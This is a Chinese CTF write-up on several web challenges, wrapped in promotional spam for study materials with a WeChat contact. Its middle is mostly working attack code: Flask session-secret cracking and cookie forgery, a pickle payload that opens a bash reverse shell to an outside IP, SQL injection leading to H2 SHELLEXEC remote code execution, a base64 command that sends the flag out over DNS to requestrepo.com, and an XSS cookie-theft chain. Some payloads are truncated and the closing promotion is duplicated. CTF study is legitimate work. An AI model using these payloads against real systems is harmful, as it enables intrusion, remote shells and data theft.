先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
print("Generating wordlist… ")
with open(path,“w”) as f:
#permutations with repetition
[f.write(‘23’+“”.join(x)+‘’+“\n”) for x in itertools.product(‘0123456789’, repeat=4)] #加上前缀
#url = “http://47.115.201.35:8000/index”
#cookie_tamper = r.head(url).cookies.get_dict()[‘session’]
cookie_tamper=‘eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4’
print("Got cookie: " + cookie_tamper)
print(“Cracker Started…”)
obj = flask_unsign.Cracker(value=cookie_tamper)
before = time.time()
with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)
secret = “”
if obj.secret:
secret =obj.secret.decode()
print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")
signer = flask_unsign.sign({“time”:time.time(),“authorized”:True},secret=secret)
密钥`233629`
![image-20240206235214865](https://img-blog.csdnimg.cn/img_convert/18c65a912e657b8acd87f883df522217.png)
之后`flask_unsign`工具伪造session即可。
flask-unsign --sign --cookie “{‘username’: ‘admin’}” --secret ‘233629’
![image-20240207000052384](https://img-blog.csdnimg.cn/img_convert/74954c82cc62bfe15a0d3374c67fa080.png)
伪造成功,开始第二步。
![image-20240207000125898](https://img-blog.csdnimg.cn/img_convert/f98ce91037312c6cc61112d2d8e79c62.png)
注意,pickle,版本要一致,版本是311。
脚本:
import pickle
import os
import base64
class aaa():
def __reduce__(self):
return(os.system,(‘bash -c “bash -i >& /dev/tcp/120.46.41.173/9023 0>&1”’,))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)
寄了,我就知道没这么简单。
![image-20240207001514534](https://img-blog.csdnimg.cn/img_convert/07c6c850f9af8f2e821e7ea7c5265bfb.png)
报错看不太出来什么。我之前生成pickle那个引用了os包,可能环境没有,换个脚本。
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, (“__import__(‘os’).popen(‘tac /flag’).read()”,))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
![image-20240207001941213](https://img-blog.csdnimg.cn/img_convert/391db080c1d011100e625cdbce4b11e6.png)
果然如此。payload:
POST:
pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu
![image-20240207001842683](https://img-blog.csdnimg.cn/img_convert/9a596ab27a051b7f6b38993a8bb5abd1.png)
## Select More Courses
题目描述:ma5hr00m wants to take more courses, but he may be racing against time. Can you help him?
hint:
>
> 可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt
>
>
>
开题,首先要登录,注意系统提示。
![image-20240211235128609](https://img-blog.csdnimg.cn/img_convert/a9dd6c2fd71416720c7600bd59abc9ea.png)
密码直接拿hint给的密码本爆破。密码是`qwert123`
![image-20240211235338463](https://img-blog.csdnimg.cn/img_convert/06f3166cb24b393dda69b2c4e026b2ff.png)
点击扩容:
![image-20240211235445477](https://img-blog.csdnimg.cn/img_convert/162e3bfe5034f0fd1aa8db06f07e6ad7.png)
提示和时间赛跑
![image-20240211235511887](https://img-blog.csdnimg.cn/img_convert/96f9903b9eaef57af1fa57d7d3dfaf1e.png)
![image-20240212000035059](https://img-blog.csdnimg.cn/img_convert/8d19c233d1063acf503bfc71821e9caa.png)
还有一个是选课界面,只需要选一个。
![image-20240211235958169](https://img-blog.csdnimg.cn/img_convert/7d0e2062345edc35166f8bcdd3c6443e.png)
猜测这里要同时选课+申请。预期应该是双线程脚本,我直接双开爆破了。
![image-20240212000128964](https://img-blog.csdnimg.cn/img_convert/5f118f5a9dfd67ce72883a4367140b23.png)
选上了。
![image-20240211235926902](https://img-blog.csdnimg.cn/img_convert/fb699ecf95f3fd81dbb5db622f1df2e1.png)
## search4member
考点总结:SQL注入(堆叠)+h2database RCE漏洞
题目描述:Vidar-Team have so much members,so 1ue write an api to search…
hint:
>
> 出题人失误;忘写connection.close();导致多次payload可使服务dos;请本地打通再尝试远程环境;带来不便请见谅
>
>
>
有附件给了源码。是java的SQL。导入IDEA看看。
package org.vidar.controller;
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Inject;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.handle.ModelAndView;
import org.vidar.config.DbManager;
import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
@Controller
public class SearchController {
@Inject
private DbManager dbManager;
@Mapping("/")
public ModelAndView search(@Param(defaultValue = "web") String keyword) throws SQLException {
List<String> results = new ArrayList<>();
if (keyword != null & !keyword.equals("")) {
String sql = "SELECT \* FROM member WHERE intro LIKE '%" + keyword + "%';";
DataSource dataSource = dbManager.getDataSource();
Statement statement = dataSource.getConnection().createStatement();
ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()) {
results.add(resultSet.getString("id") + " : "
+ resultSet.getString("intro") + " : "
+ resultSet.getString("blog"));
}
resultSet.close();
statement.close();
}
ModelAndView model = new ModelAndView("search.ftl");
model.put("results", results);
return model;
}
}
数据库结构如下:
DROP TABLE IF EXISTS member;
CREATE TABLE member
(
id VARCHAR(30) NOT NULL UNIQUE COMMENT ‘id’,
intro VARCHAR(255) NOT NULL COMMENT ‘intro’,
blog VARCHAR(255) NOT NULL COMMENT ‘blog’
);
INSERT INTO member (id, intro, blog)
VALUES (【xxx】);
测试,可以sql注入。payload:
?keyword=%E4%BC%9A%E9%95%BF%25’%3B–%2B
解码后:会长%';–+
![image-20240212181636651](https://img-blog.csdnimg.cn/img_convert/6b9784d7458712a6d80b9be854096ea9.png)
获取数据库:(数据库名字为`H2`)
?keyword=zzz%25’ and 1>2 union SELECT 1,2,database();–+
![image-20240212182946225](https://img-blog.csdnimg.cn/img_convert/018c54dcafd3f4637e68c79601433819.png)
奇怪的数据库名字+数据库中找不到flag,这题可能不是简单的SQL注入。
开始搜索引擎,找到了`h2database`有一个RCE漏洞!
![image-20240212191056918](https://img-blog.csdnimg.cn/img_convert/4c25ec02ce88b63ac5021fd00bf29a1c.png)
参考:
[H2 database漏洞复现 - Running\_J - 博客园 (cnblogs.com)]( )
[Spring Boot Actuator hikari配置不当导致的远程命令执行漏洞 - 卖小女孩的小男孩 - 博客园 (cnblogs.com)]( )
这个总的来说就是创建一个数据库函数 SHELLEXEC ,函数可以直接执行命令
测试payload:(SQL注入+H2 RCE)(参照两个参考文章得出)(两个都可以)
?keyword=zzz%25’;CREATE ALIAS SHELLEXEC AS S t r i n g s h e l l e x e c ( S t r i n g c m d ) t h r o w s j a v a . i o . I O E x c e p t i o n j a v a . u t i l . S c a n n e r s = n e w j a v a . u t i l . S c a n n e r ( R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) . g e t I n p u t S t r e a m ( ) ) . u s e D e l i m i t e r ( " A " ) ; r e t u r n s . h a s N e x t ( ) ? s . n e x t ( ) : " " ; String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } Stringshellexec(Stringcmd)throwsjava.io.IOExceptionjava.util.Scanners=newjava.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("A");returns.hasNext()?s.next():"";;CALL SHELLEXEC(‘curl 28zrgzsc.requestrepo.com’);–+
?keyword=zzz%25’;CREATE ALIAS SHELLEXEC AS ‘String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}’; CALL SHELLEXEC(‘curl 28zrgzsc.requestrepo.com’);–+
测试payload,发现可以被DNS接收。
![image-20240212202742839](https://img-blog.csdnimg.cn/img_convert/401a28041cc31433a1c617c1126f790d.png)
最终payload:(执行命令)(之前`CREATE ALIAS SHELLEXEC`已经创建过`SHELLEXEC`函数,无需重复创建)(反弹shell失败了,尝试DNS带出flag)
?keyword=zzz%25’;CALL SHELLEXEC(‘bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}’);–+
最终payload带出flag成功。
![image-20240212203405710](https://img-blog.csdnimg.cn/img_convert/0fc503863d29271b9196cc4fd9959a2d.png)
## 梅开二度
考点总结:Go语言+SSTI+XSS
题目描述:
![image-20240212204141634](https://img-blog.csdnimg.cn/img_convert/41a8ed4206f1c8d971141f305559556d.png)
开题:
![image-20240212204645857](https://img-blog.csdnimg.cn/img_convert/93d74d3a49f36a1120467a12a10fb6bf.png)
后端代码实现:
![image-20240212204704451](https://img-blog.csdnimg.cn/img_convert/fdefd099d885683fb6d898a9f510d97c.png)
看这`{{}}`感觉好像SSTI,又说flag在bot手上,怀疑是XSS。有意思,没怎么学过go,边做边学吧。
搜索引擎启动,搜索关键字 GO SSTI XSS 安全漏洞。真能搜到,Go的SSTI危害比较小,能用的基本上只有XSS。不像Jinja2那样可以RCE。
查找到有用的参考文章:
[浅学Go下的ssti - SecPulse.COM | 安全脉搏]( )
[Golang中的SSTI | CoolCat’ Blog (thekingofduck.com)]( )
[Go SSTI初探 | tyskillのBlog]( )
https://blog.dexter0us.com/posts/go-blogs-hacktivitycon-2021-writeup/
有附件,看看源码:(注释来自GPT4.0)
// 导入必要的包
import (
“context” // 用于创建和传递上下文
“log” // 用于记录日志
“net/url” // 用于解析URL
“os” // 用于读取环境变量和文件系统
“regexp” // 用于正则表达式匹配
“sync” // 用于同步goroutine
“text/template” // 用于处理文本模板,存在XSS!
“time” // 用于处理时间
"github.com/chromedp/chromedp" // ChromeDP用于控制Chrome浏览器
"github.com/gin-gonic/gin" // Gin是一个HTTP Web框架
"golang.org/x/net/html" // 用于操作HTML
)
// 预编译的正则表达式,用于检查模板字符串中是否包含非法词汇
var re = regexp.MustCompile(script|file|on
)
// 全局锁,用于同步访问
var lock sync.Mutex
func main() {
// 创建一个ChromeDP执行环境,配置Chrome运行参数
allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
chromedp.NoSandbox, chromedp.DisableGPU)…)
defer cancel() // 确保在main函数结束时取消上下文,释放资源
// 创建一个Gin路由器
r := gin.Default()
// 处理根路径的GET请求,动态生成HTML页面
r.GET("/", func(c \*gin.Context) {
tmplStr := c.Query("tmpl") // 从查询参数获取模板字符串
if tmplStr == "" {
tmplStr = defaultTmpl // 若未提供,则使用默认模板
} else {
// 检查模板字符串是否合法
if re.MatchString(tmplStr) {
c.String(403, "tmpl contains invalid word")
return
}
if len(tmplStr) > 50 {
c.String(403, "tmpl is too long")
return
}
tmplStr = html.EscapeString(tmplStr) // 对模板字符串进行HTML转义
}
tmpl, err := template.New("resp").Parse(tmplStr) // 解析模板
if err != nil {
c.String(500, "parse template error: %v", err)
return
}
if err := tmpl.Execute(c.Writer, c); err != nil { // 执行模板,生成响应
c.String(500, "execute template error: %v", err)
}
})
// 处理"/bot"路径的GET请求,模拟浏览器访问提供的URL
r.GET("/bot", func(c \*gin.Context) {
rawURL := c.Query("url") // 从查询参数获取URL
u, err := url.Parse(rawURL) // 解析URL
if err != nil {
c.String(403, "url is invalid")
return
}
if u.Host != "127.0.0.1:8080" { // 限制URL的主机地址
c.String(403, "host is invalid")
return
}
go func() { // 在新的goroutine中执行,以非阻塞方式处理请求
lock.Lock() // 在访问共享资源前加锁
defer lock.Unlock() // 确保在函数结束时释放锁
ctx, cancel := chromedp.NewContext(allocCtx,
chromedp.WithBrowserOption(chromedp.WithDialTimeout(10\*time.Second)),
)
defer cancel()
ctx, \_ = context.WithTimeout(ctx, 20\*time.Second) // 设置上下文超时
if err := chromedp.Run(ctx,
chromedp.Navigate(u.String()), // 导航到指定的URL
chromedp.Sleep(time.Second\*10), // 等待页面加载
); err != nil {
log.Println(err) // 记录错误
}
}()
c.String(200, "bot will visit it.") // 响应客户端
})
// 处理"/flag"路径的GET请求,仅允许来自localhost的请求
r.GET("/flag", func(c \*gin.Context) {
if c.RemoteIP() != "127.0.0.1" { // 检查请求来源IP地址
c.String(403, "you are not localhost")
return
}
flag, err := os.ReadFile("/flag") // 读取flag文件
if err != nil {
c.String(500, "read flag error")
return
}
c.SetCookie("flag", string(flag), 3600, "/", "", false, true) // 将flag设置为cookie
c.Status(200) // 发送200状态码
})
// 启动Gin服务器,监听8080端口
r.Run(":8080")
}
// defaultTmpl是默认的HTML模板,用于生成响应页面
const defaultTmpl = `
分析源码:
1、导包中的`text/template`(个人认为是Go语言的XSS标志)
Go 提供了两个模板包。一个是 `text/template`,另一个是`html/template`。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。
template常用基本语法:
在{{}}内的操作称之为pipeline
在template中,点"."代表当前作用域的当前对象
{{.Query “aaa”}} 调用一个名为Query的方法,并传递字符串"aaa"作为参数
{{.}} 表示当前对象,如user对象
{{.FieldName}} 表示对象的某个字段
{{range …}}{{end}} go中for…range语法类似,循环
{{with …}}{{end}} 当前对象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
{{xxx | xxx}} 左边的输出作为右边的输入
{{template “navbar”}} 引入子模版
2、var re = regexp.MustCompile(`script|file|on`)
黑名单过滤`script`、`file`、`on`
3、if len(tmplStr) > 50
限制长度50以内。(当时想着payload被限制50以内那就麻烦了)(之后想到可以绕过的~)
4、tmplStr = html.EscapeString(tmplStr)
进行转义
![image-20240212234259808](https://img-blog.csdnimg.cn/img_convert/5f46dda96cb92e230b9023c4652125b2.png)
5、根路由`\`存在SSTI,注入点是`tmpl`
![image-20240212234516553](https://img-blog.csdnimg.cn/img_convert/2781b4b55576a382458df61ac1c1edcd.png)
到分析的第5点为止。我们已经发现了根路由存在SSTI,防御手段有三,分别是黑名单过滤、长度限制、转义。
转义了单双引号,我们用反引号`代替。此外,我们绕一下,直接调用Query()函数,获取另外一个传参变量`Jay17`的值。
先测试是否存在SSTI,payload如下,回显的值为`95272022`,表示存在SSTI
?tmpl={{println 0B101101011011011110001010110}}
![image-20240213103009994](https://img-blog.csdnimg.cn/img_convert/0f59ad61e056a13ae0177768117dd22f.png)
我们先XSS弄个弹窗试试:
?tmpl={{.Query Jay17
}}&Jay17=
显然成功了,XSS存在且我们可控。接下来我们就是思考如何带出flag了。
![image-20240212235716262](https://img-blog.csdnimg.cn/img_convert/809297725d992e3d6e0c1fe80da1a78c.png)
继续分析
6、`/bot`路由主要是获取传参`url`,访问url参数的值,要满足访问的是本地`8080`端口。
![image-20240213104229569](https://img-blog.csdnimg.cn/img_convert/84174a765853be3c1f3d2a99ed1a83f6.png)
7、`/flag`路由将cookie设置为flag,前提是来源是本地(bot可以做到)
![image-20240213105206865](https://img-blog.csdnimg.cn/img_convert/92f928e3cd0b7f7225d53d736867c7c4.png)
8、整体思路就是让bot拿出flag给我。
直接让bot访问`/flag`路由可以让bot获取flag,但是带不出来。(访问url,可以看作只有一次访问)
结合XSS,我们首先让bot访问根路由,在根路由进行XSS,XSS执行js代码,使得bot访问`/flag`获取cookie,再带出cookie给我,bot的cookie此时就是flag。
payload模板:
/bot?url=http://127.0.0.1:8080?tmpl={{.Query Jay17
}}&Jay17=
现在的问题就是怎么XSS,在XSS的任务就是,获取cookie flag、带出flag。
JS代码部分:
async function fetchData() {
// 首先访问网址A
await fetch(‘http://127.0.0.1:8080/flag’)
.then(response => response.text())
.then(data => console.log(‘网址A访问成功’))
.catch(error => console.error(‘访问网址A时发生错误:’, error));
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
log.csdnimg.cn/img_convert/1ddfaf7dc5879b1120e31fafa1ad4dc7.jpeg)
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-kSHKJ9ry-1713135073203)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!